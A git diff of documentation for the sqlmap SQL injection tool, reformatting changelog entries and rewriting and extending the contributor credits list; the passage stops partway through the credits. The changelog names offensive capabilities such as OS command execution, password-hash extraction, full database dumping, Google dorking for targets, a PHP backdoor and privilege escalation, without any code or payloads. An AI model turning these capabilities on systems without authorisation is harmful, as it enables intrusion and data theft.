-* Added support (-c) to read options from configuration file, an example of valid INI file is sqlmap.conf and support (--save) to save command line options on a configuration file;
-* Created a function that updates the whole sqlmap to the latest stable version available by running sqlmap with --update option;
+* Implemented SQL shell (`--sql-shell`) functionality and fixed SQL query (`--sql-query`, before called `-e`) to be able to run whatever SELECT statement and get its output in both inband and blind SQL injection attack;
+* Added an option (`--privileges`) to retrieve DBMS users privileges, it also notifies if the user is a DBMS administrator;
+* Added support (`-c`) to read options from configuration file, an example of valid INI file is sqlmap.conf and support (`--save`) to save command line options on a configuration file;
+* Created a function that updates the whole sqlmap to the latest stable version available by running sqlmap with `--update` option;
* Created sqlmap .deb (Debian, Ubuntu, etc.) and .rpm (Fedora, etc.) installation binary packages;
* Created sqlmap .exe (Windows) portable executable;
* Save a lot of more information to the session file, useful when resuming injection on the same target to not loose time on identifying injection, UNION fields and back-end DBMS twice or more times;
@@ -216,8 +322,8 @@
* Improved XML files structure;
* Implemented the possibility to change the HTTP Referer header;
* Added support to resume from session file also when running with inband SQL injection attack;
-* Added an option (--os-shell) to execute operating system commands if the back-end DBMS is MySQL, the web server has the PHP engine active and permits write access on a directory within the document root;
-* Added a check to assure that the provided string to match (--string) is within the page content;
+* Added an option (`--os-shell`) to execute operating system commands if the back-end DBMS is MySQL, the web server has the PHP engine active and permits write access on a directory within the document root;
+* Added a check to assure that the provided string to match (`--string`) is within the page content;
* Fixed various queries in XML file;
* Added LIMIT, ORDER BY and COUNT queries to the XML file and adapted the library to parse it;
* Fixed password fetching function, mainly for Microsoft SQL Server and reviewed the password hashes parsing function;
@@ -225,7 +331,7 @@
* Enhanced logging system: added three more levels of verbosity to show also HTTP sent and received traffic;
* Enhancement to handle Set-Cookie from target url and automatically re-establish the Session when it expires;
* Added support to inject also on Set-Cookie parameters;
-* Implemented TAB completion and command history on both --sql-shell and --os-shell;
+* Implemented TAB completion and command history on both `--sql-shell` and `--os-shell`;
* Renamed some command line options;
* Added a conversion library;
* Added code schema and reminders for future developments;
@@ -237,19 +343,19 @@
# Version 0.5 (2007-11-04)
* Added support for Oracle database management system
-* Extended inband SQL injection functionality (--union-use) to all other possible queries since it only worked with -e and --file on all DMBS plugins;
+* Extended inband SQL injection functionality (`--union-use`) to all other possible queries since it only worked with `-e` and `--file` on all DMBS plugins;
* Added support to extract database users password hash on Microsoft SQL Server;
* Added a fuzzer function with the aim to parse HTML page looking for standard database error messages consequently improving database fingerprinting;
* Added support for SQL injection on HTTP Cookie and User-Agent headers;
-* Reviewed HTTP request library (lib/request.py) to support the extended inband SQL injection functionality. Splitted getValue() into getInband() and getBlind();
+* Reviewed HTTP request library (lib/request.py) to support the extended inband SQL injection functionality. Split getValue() into getInband() and getBlind();
* Major enhancements in common library and added checkForBrackets() method to check if the bracket(s) are needed to perform a UNION query SQL injection attack;
-* Implemented --dump-all functionality to dump entire DBMS data from all databases tables;
-* Added support to exclude DBMS system databases' when enumeration tables and dumping their entries (--exclude-sysdbs);
+* Implemented `--dump-all` functionality to dump entire DBMS data from all databases tables;
+* Added support to exclude DBMS system databases' when enumeration tables and dumping their entries (`--exclude-sysdbs`);
* Implemented in Dump.dbTableValues() method the CSV file dumped data automatic saving in csv/ folder by default;
* Added DB2, Informix and Sybase DBMS error messages and minor improvements in xml/errors.xml;
* Major improvement in all three DBMS plugins so now sqlmap does not get entire databases' tables structure when all of database/table/ column are specified to be dumped;
* Important fixes in lib/option.py to make sqlmap properly work also with python 2.5 and handle the CSV dump files creation work also under Windows operating system, function __setCSVDir() and fixed also in lib/dump.py;
-* Minor enhancement in lib/injection.py to randomize the number requested to test the presence of a SQL injection affected parameter and implemented the possibilities to break (q) the for cycle when using the google dork option (-g);
+* Minor enhancement in lib/injection.py to randomize the number requested to test the presence of a SQL injection affected parameter and implemented the possibilities to break (q) the for cycle when using the google dork option (`-g`);
* Minor fix in lib/request.py to properly encode the url to request in case the "fixed" part of the url has blank spaces;
* More minor layout enhancements in some libraries;
* Renamed DMBS plugins;
@@ -260,21 +366,21 @@
* Added DBMS fingerprint based also upon HTML error messages parsing defined in lib/parser.py which reads an XML file defining default error messages for each supported DBMS;
* Added Microsoft SQL Server extensive DBMS fingerprint checks based upon accurate '@@version' parsing matching on an XML file to get also the exact patching level of the DBMS;
-* Added support for query ETA (Estimated Time of Arrival) real time calculation (--eta);
-* Added support to extract database management system users password hash on MySQL and PostgreSQL (--passwords);
-* Added docstrings to all functions, classes and methods, consequently released the sqlmap development documentation ;
-* Implemented Google dorking feature (-g) to take advantage of Google results affected by SQL injection to perform other command line argument on their DBMS;
+* Added support for query ETA (Estimated Time of Arrival) real time calculation (`--eta`);
+* Added support to extract database management system users password hash on MySQL and PostgreSQL (`--passwords`);
+* Added docstrings to all functions, classes and methods, consequently released the sqlmap development documentation ;
+* Implemented Google dorking feature (`-g`) to take advantage of Google results affected by SQL injection to perform other command line argument on their DBMS;
* Improved logging functionality: passed from banal 'print' to Python native logging library;
-* Added support for more than one parameter in '-p' command line option;
-* Added support for HTTP Basic and Digest authentication methods (--basic-auth and --digest-auth);
-* Added the command line option '--remote-dbms' to manually specify the remote DBMS;
-* Major improvements in union.UnionCheck() and union.UnionUse() functions to make it possible to exploit inband SQL injection also with database comment characters ('--' and '#') in UNION query statements;
-* Added the possibility to save the output into a file while performing the queries (-o OUTPUTFILE) so it is possible to stop and resume the same query output retrieving in a second time (--resume);
-* Added support to specify the database table column to enumerate (-C COL);
-* Added inband SQL injection (UNION query) support (--union-use);
+* Added support for more than one parameter in `-p` command line option;
+* Added support for HTTP Basic and Digest authentication methods (`--basic-auth` and `--digest-auth`);
+* Added the command line option `--remote-dbms` to manually specify the remote DBMS;
+* Major improvements in union.UnionCheck() and union.UnionUse() functions to make it possible to exploit inband SQL injection also with database comment characters (`--` and `#`) in UNION query statements;
+* Added the possibility to save the output into a file while performing the queries (`-o OUTPUTFILE`) so it is possible to stop and resume the same query output retrieving in a second time (`--resume`);
+* Added support to specify the database table column to enumerate (`-C COL`);
+* Added inband SQL injection (UNION query) support (`--union-use`);
* Complete code refactoring, a lot of minor and some major fixes in libraries, many minor improvements;
* Reviewed the directory tree structure;
-* Splitted lib/common.py: inband injection functionalities now are moved to lib/union.py;
+* Split lib/common.py: inband injection functionalities now are moved to lib/union.py;
* Updated documentation files.
# Version 0.3 (2007-01-20)
@@ -282,10 +388,10 @@
* Added module for MS SQL Server;
* Strongly improved MySQL dbms active fingerprint and added MySQL comment injection check;
* Added PostgreSQL dbms active fingerprint;
-* Added support for string match (--string);
-* Added support for UNION check (--union-check);
+* Added support for string match (`--string`);
+* Added support for UNION check (`--union-check`);
* Removed duplicated code, delegated most of features to the engine in common.py and option.py;
-* Added support for --data command line argument to pass the string for POST requests;
+* Added support for `--data` command line argument to pass the string for POST requests;
* Added encodeParams() method to encode url parameters before making http request;
* Many bug fixes;
* Rewritten documentation files;
diff --git a/doc/FAQ.pdf b/doc/FAQ.pdf
deleted file mode 100644
index d0a91bdb35..0000000000
Binary files a/doc/FAQ.pdf and /dev/null differ
diff --git a/doc/README.pdf b/doc/README.pdf
deleted file mode 100644
index a3ddc647ab..0000000000
Binary files a/doc/README.pdf and /dev/null differ
diff --git a/doc/THANKS.md b/doc/THANKS.md
index b275c5ef22..3d5e9ec7e7 100644
--- a/doc/THANKS.md
+++ b/doc/THANKS.md
@@ -1,771 +1,819 @@
# Individuals
-Andres Tarasco Acuna,
+Andres Tarasco Acuna,
* for suggesting a feature
-Santiago Accurso,
+Santiago Accurso,
* for reporting a bug
-Syed Afzal,
+Syed Afzal,
* for contributing a WAF script varnish.py
-Zaki Akhmad,
+Zaki Akhmad,
* for suggesting a couple of features
-Olu Akindeinde,
+Olu Akindeinde,
* for reporting a couple of bugs
-David Alvarez,
+David Alvarez,
* for reporting a bug
-Sergio Alves,
+Sergio Alves,
* for reporting a bug
-Thomas Anderson,
+Thomas Anderson,
* for reporting a bug
-Chip Andrews,
+Chip Andrews,
* for his excellent work maintaining the SQL Server versions database at SQLSecurity.com and permission to implement the update feature taking data from his site
-Smith Andy,
+Smith Andy,
* for suggesting a feature
-Otavio Augusto,
+Otavio Augusto,
* for reporting a minor bug
-Simon Baker,
+Simon Baker,
* for reporting some bugs
-Ryan Barnett,
+Ryan Barnett,
* for organizing the ModSecurity SQL injection challenge, http://modsecurity.org/demo/challenge.html
-Emiliano Bazaes,
+Emiliano Bazaes,
* for reporting a minor bug
-Daniele Bellucci,
+Daniele Bellucci,
* for starting sqlmap project and developing it between July and August 2006
-Sebastian Bittig, and the rest of the team at r-tec IT Systeme GmbH
+Sebastian Bittig, and the rest of the team at r-tec IT Systeme GmbH
* for contributing the DB2 support initial patch: fingerprint and enumeration
-Anthony Boynes,
+Anthony Boynes,
* for reporting several bugs
Marcelo Toscani Brandao
* for reporting a bug
-Velky Brat,
+Velky Brat,
* for suggesting a minor enhancement to the bisection algorithm
-James Briggs,
+James Briggs,
* for suggesting a minor enhancement
-Gianluca Brindisi,
+Gianluca Brindisi,
* for reporting a couple of bugs
-Jack Butler,
+Jack Butler,
* for contributing the sqlmap site favicon
-Ulisses Castro,
+Ulisses Castro,
* for reporting a bug
-Roberto Castrogiovanni,
+Roberto Castrogiovanni,
* for reporting a minor bug
-Cesar Cerrudo,
+Cesar Cerrudo,
* for his Windows access token kidnapping tool Churrasco included in sqlmap tree as a contrib library and used to run the stand-alone payload stager on the target Windows machine as SYSTEM user if the user wants to perform a privilege escalation attack, http://www.argeniss.com/research/TokenKidnapping.pdf
-Karl Chen,
+Karl Chen,
* for contributing the initial multi-threading patch for the inference algorithm
-Y P Chien,
+Y P Chien,
* for reporting a minor bug
-Pierre Chifflier, and Mark Hymers,
+Pierre Chifflier, and Mark Hymers,
* for uploading and accepting the sqlmap Debian package to the official Debian project repository
-Hysia Chow
+Hysia Chow
* for contributing a couple of WAF scripts
-Chris Clements,
+Chris Clements,
* for reporting a couple of bugs
-John Cobb,
+John Cobb,
* for reporting a minor bug
-Andreas Constantinides,
+Andreas Constantinides,
* for reporting a minor bug
-Andre Costa,
+Andre Costa,
* for reporting a minor bug
* for suggesting a minor enhancement
-Ulises U. Cune,
+Ulises U. Cune,
* for reporting a bug
-Alessandro Curio,
+Alessandro Curio,
* for reporting a minor bug
-Alessio Dalla Piazza,
+Alessio Dalla Piazza,
* for reporting a couple of bugs
-Sherif El-Deeb,
+Alexis Danizan,
+* for contributing support for ClickHouse
+
+Sherif El-Deeb,
* for reporting a minor bug
-Stefano Di Paola,
+Thomas Etrillard,
+* for contributing the IBM DB2 error-based payloads (RAISE_ERROR)
+
+Stefano Di Paola,
* for suggesting good features
-Mosk Dmitri,
+Mosk Dmitri,
* for reporting a minor bug
-Meng Dong,
+Meng Dong,
* for contributing a code for Waffit integration
-Carey Evans,
+Carey Evans,
* for his fcrypt module that allows crypt(3) support
on Windows platforms
-Shawn Evans,
+Shawn Evans,
* for suggesting an idea for one tamper script, greatest.py
-Adam Faheem,
+Adam Faheem,
* for reporting a few bugs
-James Fisher,
+James Fisher,
* for contributing two very good feature requests
* for his great tool too brute force directories and files names on web/application servers, DirBuster, http://tinyurl.com/dirbuster
-Jim Forster,
+Jim Forster,
* for reporting a bug
-Rong-En Fan,
-* for commiting the sqlmap 0.5 port to the official FreeBSD project repository
+Rong-En Fan,
+* for committing the sqlmap 0.5 port to the official FreeBSD project repository
-Giorgio Fedon,
+Giorgio Fedon,
* for suggesting a speed improvement for bisection algorithm
* for reporting a bug when running against Microsoft SQL Server 2005
-Kasper Fons,
+Kasper Fons,
* for reporting several bugs
-Jose Fonseca,
-* for his Gprof2Dot utility for converting profiler output to dot graph(s) and for his XDot utility to render nicely dot graph(s), both included in sqlmap tree inside extra folder. These libraries are used for sqlmap development purposes only
- http://code.google.com/p/jrfonseca/wiki/Gprof2Dot
- http://code.google.com/p/jrfonseca/wiki/XDot
-
-Alan Franzoni,
-* for helping me out with Python subprocess library
+Alan Franzoni,
+* for helping out with Python subprocess library
-Harold Fry,
+Harold Fry,
* for suggesting a minor enhancement
-Daniel G. Gamonal,
+Daniel G. Gamonal,
* for reporting a minor bug
-Marcos Mateos Garcia,
+Marcos Mateos Garcia,
* for reporting a minor bug
-Andrew Gecse,
+Andrew Gecse,
* for reporting a minor issue
-Ivan Giacomelli,
+Ivan Giacomelli,
* for reporting a bug
* for suggesting a minor enhancement
* for reviewing the documentation
-Nico Golde,
+Dimitris Giannitsaros,
+* for contributing a REST-JSON API client
+
+Nico Golde,
* for reporting a couple of bugs
-Oliver Gruskovnjak,
+Oliver Gruskovnjak,
* for reporting a bug
* for contributing a minor patch
-Davide Guerri,
+Davide Guerri,
* for suggesting an enhancement
-Dan Guido,
+Dan Guido,
* for promoting sqlmap in the context of the Penetration Testing and Vulnerability Analysis class at the Polytechnic University of New York, http://isisblogs.poly.edu/courses/pentest/
-David Guimaraes,
+David Guimaraes,
* for reporting considerable amount of bugs
* for suggesting several features
-Chris Hall,
+Chris Hall,
* for coding the prettyprint.py library
-Tate Hansen,
+Tate Hansen,
* for donating to sqlmap development
-Mario Heiderich,
-Christian Matthies,
-Lars H. Strojny,
-* for their great tool PHPIDS included in sqlmap tree as a set of rules for testing payloads against IDS detection, http://php-ids.org
+Mario Heiderich,
+Christian Matthies,
+Lars H. Strojny,
+* for their great tool PHPIDS included in sqlmap tree as a set of rules for testing payloads against IDS detection, https://github.com/PHPIDS/PHPIDS
-Kristian Erik Hermansen,
+Kristian Erik Hermansen,
* for reporting a bug
* for donating to sqlmap development
-Alexander Hagenah,
+Alexander Hagenah,
* for reporting a minor bug
-Dennis Hecken,
+Dennis Hecken,
* for reporting a minor bug
-Choi Ho,
+Choi Ho,
* for reporting a minor bug
-Jorge Hoya,
+Jorge Hoya,
* for suggesting a minor enhancement
-Will Holcomb,
+Will Holcomb,
* for his MultipartPostHandler class to handle multipart POST forms and permission to include it within sqlmap source code
-Daniel Huckmann,
+Daniel Huckmann,
* for reporting a couple of bugs
-Daliev Ilya,
+Daliev Ilya,
* for reporting a bug
-Jovon Itwaru,
+Mehmet İnce,
+* for contributing a tamper script xforwardedfor.py
+
+Jovon Itwaru,
* for reporting a minor bug
-Prashant Jadhav,
+Prashant Jadhav,
* for reporting a bug
-Dirk Jagdmann,
+Dirk Jagdmann,
* for reporting a typo in the documentation
-Luke Jahnke,
+Luke Jahnke,
* for reporting a bug when running against MySQL < 5.0
-David Klein,
+Andrew Kitis
+* for contributing a tamper script lowercase.py
+
+David Klein,
* for reporting a minor code improvement
-Sven Klemm,
+Sven Klemm,
* for reporting two minor bugs with PostgreSQL
-Anant Kochhar,
+Anant Kochhar,
* for providing with feedback on the user's manual
-Dmitriy Kononov,
+Dmitriy Kononov,
* for reporting a minor bug
-Alexander Kornbrust,
+Alexander Kornbrust,
* for reporting a couple of bugs
-Krzysztof Kotowicz,
+Krzysztof Kotowicz,
* for reporting a minor bug
-Nicolas Krassas,
+Nicolas Krassas,
* for reporting a couple of bugs
-Oliver Kuckertz,
+Oliver Kuckertz,
* for contributing a minor patch
-Alex Landa,
+Alex Landa,
* for contributing a patch adding beta support for XML output
-Guido Landi,
+Guido Landi,
* for reporting a couple of bugs
* for the great technical discussions
* for Microsoft SQL Server 2000 and Microsoft SQL Server 2005 'sp_replwritetovarbin' stored procedure heap-based buffer overflow (MS09-004) exploit development
-* for presenting with me at SOURCE Conference 2009 in Barcelona (Spain) on September 21, 2009 and at CONfidence 2009 in Warsaw (Poland) on November 20, 2009
+* for presenting with Bernardo at SOURCE Conference 2009 in Barcelona (Spain) on September 21, 2009 and at CONfidence 2009 in Warsaw (Poland) on November 20, 2009
-Lee Lawson,
+Lee Lawson,
* for reporting a minor bug
-John J. Lee, and others
+John J. Lee, and others
* for developing the clientform Python library used by sqlmap to parse forms when --forms switch is specified
-Nico Leidecker,
+Nico Leidecker,
* for providing with feedback on a few features
* for reporting a couple of bugs
* for his great tool icmpsh included in sqlmap tree to get a command prompt via an out-of-band tunnel over ICMP, http://leidecker.info/downloads/icmpsh.zip
-Gabriel Lima,
+Gabriel Lima,
* for reporting a couple of bugs
-Svyatoslav Lisin,
+Svyatoslav Lisin,
* for suggesting a minor feature
-Miguel Lopes,
+Miguel Lopes,
* for reporting a minor bug
-Truong Duc Luong,
+Truong Duc Luong,
* for reporting a minor bug
-Pavol Luptak,
+Pavol Luptak,
* for reporting a bug when injecting on a POST data parameter
-Till Maas,
+Till Maas,
* for suggesting a minor feature
-Michael Majchrowicz,
+Michael Majchrowicz,
* for extensively beta-testing sqlmap on various MySQL DBMS
* for providing really appreciated feedback
* for suggesting a lot of ideas and features
-Ahmad Maulana,
+Vinícius Henrique Marangoni,
+* for contributing a Portuguese translation of README.md
+
+Francesco Marano,
+* for contributing the Microsoft SQL Server/Sybase error-based - Stacking (EXEC) payload
+
+Ahmad Maulana,
* for contributing a tamper script halfversionedmorekeywords.py
-Ferruh Mavituna,
+Ferruh Mavituna,
* for exchanging ideas on the implementation of a couple of features
-David McNab,
+David McNab,
* for his XMLObject module that allows XML files to be operated on like Python objects
-Spencer J. McIntyre,
+Spencer J. McIntyre,
* for reporting a minor bug
* for contributing a patch for OS fingerprinting on DB2
-Brad Merrell,
+Brad Merrell,
* for reporting a minor bug
-Michael Meyer,
+Michael Meyer,
* for suggesting a minor feature
-Enrico Milanese,
+Enrico Milanese,
* for reporting a minor bug
* for sharing some ideas for the PHP backdoor
-Liran Mimoni,
+Liran Mimoni,
* for reporting a minor bug
-Marco Mirandola,
+Marco Mirandola,
* for reporting a minor bug
-Devon Mitchell,
+Devon Mitchell,
* for reporting a minor bug
-Anton Mogilin,
+Anton Mogilin,
* for reporting a few bugs
-Sergio Molina,
+Sergio Molina,
* for reporting a minor bug
-Anastasios Monachos,
+Anastasios Monachos,
* for providing some useful data
* for suggesting a feature
* for reporting a couple of bugs
-Kirill Morozov,
+Kirill Morozov,
* for reporting a bug
* for suggesting a feature
-Alejo Murillo Moya,
+Alejo Murillo Moya,
* for reporting a minor bug
* for suggesting a few features
-Yonny Mutai,
+Yonny Mutai,
* for reporting a minor bug
-Roberto Nemirovsky,
-* for pointing me out some enhancements
+Roberto Nemirovsky,
+* for pointing out some enhancements
-Simone Onofri,
+Sebastian Nerz,
+* for reporting a (potential) vulnerability in --eval
+
+Simone Onofri,
* for patching the PHP web backdoor to make it work properly also on Windows
-Michele Orru,
+Michele Orru,
* for reporting a couple of bug
* for suggesting ideas on how to implement the RESTful API
-Shaohua Pan,
+Shaohua Pan,
* for reporting several bugs
* for suggesting a few features
-Antonio Parata,